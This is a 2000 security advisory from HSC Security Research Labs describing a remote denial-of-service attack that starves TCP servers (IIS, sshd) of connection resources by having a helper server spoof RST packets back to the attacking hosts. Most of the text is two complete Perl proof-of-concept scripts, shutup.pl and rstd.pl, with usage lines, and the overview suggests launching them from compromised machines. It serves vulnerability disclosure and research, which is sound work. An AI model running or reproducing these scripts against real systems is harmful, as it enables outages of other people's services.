|
|
 | |  |  | Remote DOS by TCP Resource Starvation |  |
by Stéphane Aubert (13/12/2000)
Remote DOS by TCP Resource Starvation
-------------------------------------
By Stephane Aubert <Stephane.Aubert@hsc.fr>
HSC Security Research Labs
Hervé Schauer Consultants
Introduction
============
While working on the analyze of the Naptha half-advisory
we found a lot of ways to deny a remote server by TCP
resource starvation.
For more information on this Napta description visit:
http://razor.bindview.com/publish/advisories/adv_NAPTHA.html
We have done a proof of concept (with anti-script-kiddies) in
order to show how it is possible to deny of service tcp servers
remotely such as :
. IIS-5 on Win2000 : Vulnerable
. IIS-4 on WinNT : Vulnerable
. sshd on FreeBSD : Vulnerable
. sshd on Linux : Vulnerable
. and so on ...
Now days, there is no solution but traffic shapping by IP address.
We are trying to find solutions to avoid such attacks.
Overview of the attack
======================
This attack can be launched from several sources (such as ddos
infected computers or else) and use a very specific RESET server.
On the compromised computers the script shutup.pl must run.
On the reset server the script rstd.pl must run.
(These scripts are given at the end of this file.)
shutup.pl opens a lot of tcp connections on the remote victim
(syn, syn|ack, ack) without closing these connections.
This kind of attack usually consumes resources on both sides:
the victim and the attacker, and e-business no days have, most of
the time, more CPU and more memory that personal laptop ;-)
New idea:
---------
In order to consume resources on the victim ONLY and deny it, we use a
reset server to close the connection on the attacker side.
Attacker(i) -------- SYN --------> Victim
Attacker(i) <------ SYN|ACK ------ Victim
Attacker(i) -------- ACK --------> Victim
Attacker(i) -------- RESET Request ----------> Reset Server
Attacker(i) <-------- RESET ------------------ Reset Server
Attacker(i) -------- SYN --------> Victim
and so on ...
Proof of Concept
================
* Reset Server (rstd.pl)
This code is a UDP demon waiting for UDP datagram. The payload of
these datagrams contains the IP address of the attacker, the IP
address of the victim, the source and destination port and the
ack sequence number of the last ACK. It spoof a reset segment
from the victim to the attacker.
Usage: ./rstd.pl
* Main Script (shutup.pl)
This code will connect to a TCP port on the remote system. After
the tcp 3-way handshake, it request a reset to the reset server
to destroy the socket and free the resource on the attacker side.
Usage: ./shutup.pl <attacker> <victim> <port> <resetserver> <udp-port>
There are several different ways to implement such attacks. This one
allow to use several computers on different networks.
We also implement a standalone version called just_shutup.pl, but we don't
want to make it public until a solution appear.
But that's a great tools for our penetration tests ;-)
Codes
=====
--[ shutup.pl ]-----------------------------------------------------------
#!/usr/bin/perl
#
# -=- PROOF OF CONCEPT -=-
# -=- This code includes several anti-script-kiddies ! -=-
#
# Remote DOS by TCP Resource Starvation Exploit
#
# Stephane Aubert <Stephane.Aubert@hsc.fr>
# HSC Security Research Labs
# Hervé Schauer Consultants
#
# THIS SOFTWARE IS MADE AVAILABLE "AS IS", AND THE AUTHOR DISCLAIMS ALL
# WARRANTIES, EXPRESS OR IMPLIED, WITH REGARD TO THIS SOFTWARE, INCLUDING
# WITHOUT LIMITATION ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
# FOR A PARTICULAR PURPOSE, AND IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
# ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER
# RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF
# CONTRACT, TORT (INCLUDING NEGLIGENCE) OR STRICT LIABILITY, ARISING OUT OF
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
use IO::Socket;
use Net::RawIP;
my $attack = shift || 'localhost';
my $victim = shift || 'localhost';
my $port = shift || '80';
my $UDPserver = shift || 'localhost';
my $UDPport = shift || 5151;
my $verbose = 1;
$b = new Net::RawIP;
$a = new Net::RawIP;
$pcap=$a->pcapinit("eth0","proto \\tcp and src host $attack and \
dst host $victim and port $port and \
tcp[13] & 16 != 0 and tcp[13] & 2 == 0",1500,30);
if( fork() ) {
loop $pcap,-1,\&dumpit,\@a;
} else {
while( 1 ) {
my $sock = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => $victim,
PeerPort => $port);
unless ($sock) { print "Oops, cannot connect to $port/tcp on $victim\n"}
select(undef, undef, undef, 0.25);
close( $sock );
}
}
### functions ############################################################
sub dumpit {
$a->bset(substr($_[2],14));
my ($vers,$ihl,$tos,$tot,$id,$frg,$ttl,$pro,$chc,$saddr,
$daddr,$sport,$dport,$seq,$aseq,$dof,$res1,$res2,$urg,
$ack,$psh,$rst,$syn,$fin,$win,$chk,$data) =
$a->get({
ip=>['version','ihl','tos','tot_len','id','frag_off',
'ttl','protocol','check','saddr','daddr'],
tcp=>[ 'source','dest','seq','ack_seq','doff','res1',
'res2','urg','ack','psh','rst','syn','fin',
'window','check','data']});
printf "ACK: from %s:%d to %s:%d seq:0x%x ack:0x%x %s%s%s%s%s%s\n",
&ip2dot($saddr),$sport,&ip2dot($daddr),$dport,$seq,$aseq,
($syn?'S':'-'), ($ack?'A':'-'), ($fin?'F':'-'),
($rst?'R':'-'), ($psh?'P':'-'), ($urg?'U':'-');
printf "Send UDP to $UDPserver on $UDPport/udp : [%s:%d:%s:%d:ack=0x%x]\n",
&ip2dot($saddr),$sport,&ip2dot($daddr),$dport,$aseq
if($verbose);
$sock = IO::Socket::INET->new( Proto => 'udp',
PeerPort => $UDPport,
PeerAddr => $UDPserver)
or print "## error creating socket: $!\n";
$msg = '';
$msg .= pack( "N5", $saddr, $daddr, $sport, $dport, $aseq );
$sock->send($msg) or print "## error sending UDP request !\n";
};
sub ip2dot {
sprintf("%u.%u.%u.%u", unpack "C4", pack "N1", shift);
}
### END ##################################################################
--[ rstd.pl ]-------------------------------------------------------------
#!/usr/bin/perl
#
# -=- PROOF OF CONCEPT -=-
# -=- This code includes several anti-script-kiddies ! -=-
# -=-
# Reset server
#
# Stephane Aubert <Stephane.Aubert@hsc.fr>
# HSC Security Research Labs
# Hervé Schauer Consultants
#
# THIS SOFTWARE IS MADE AVAILABLE "AS IS", AND THE AUTHOR DISCLAIMS ALL
# WARRANTIES, EXPRESS OR IMPLIED, WITH REGARD TO THIS SOFTWARE, INCLUDING
# WITHOUT LIMITATION ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
# FOR A PARTICULAR PURPOSE, AND IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
# ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER
# RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF
# CONTRACT, TORT (INCLUDING NEGLIGENCE) OR STRICT LIABILITY, ARISING OUT OF
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
use IO::Socket;
use Net::RawIP;
$b = new Net::RawIP;
my $maxlen = 1024;
my $verbose = 1;
my $listenport = shift || 5151;
my $sock = IO::Socket::INET->new(LocalPort => $listenport, Proto => 'udp')
or die "socket: $@";
print "Starting RESET UDP serveur on port $listenport\n"
if($verbose);
my $newmsg = '';
while ($sock->recv($newmsg, $maxlen)) {
my($port, $ipaddr) = sockaddr_in($sock->peername);
$hishost = gethostbyaddr($ipaddr, AF_INET);
my( $saddr, $daddr, $sport, $dport, $aseq ) = unpack("N5", $newmsg );
printf "Received UDP from $hishost : [%s:%d:%s:%d:ack=0x%x]\n",
&ip2dot($saddr),$sport,&ip2dot($daddr),$dport,$aseq
if($verbose);
$b->set({
ip =>{
saddr=>$saddr, daddr=>$daddr
},
tcp => {
dest => $dport, source => $sport,
rst => '1', ack => '0', psh => '1', fin => '0',
seq => $aseq, ack_seq => 0, window => 0,
}
});
$b->send();
}
die "recv: $!";
sub ip2dot {
sprintf("%u.%u.%u.%u", unpack "C4", pack "N1", shift);
}
### END ##################################################################
|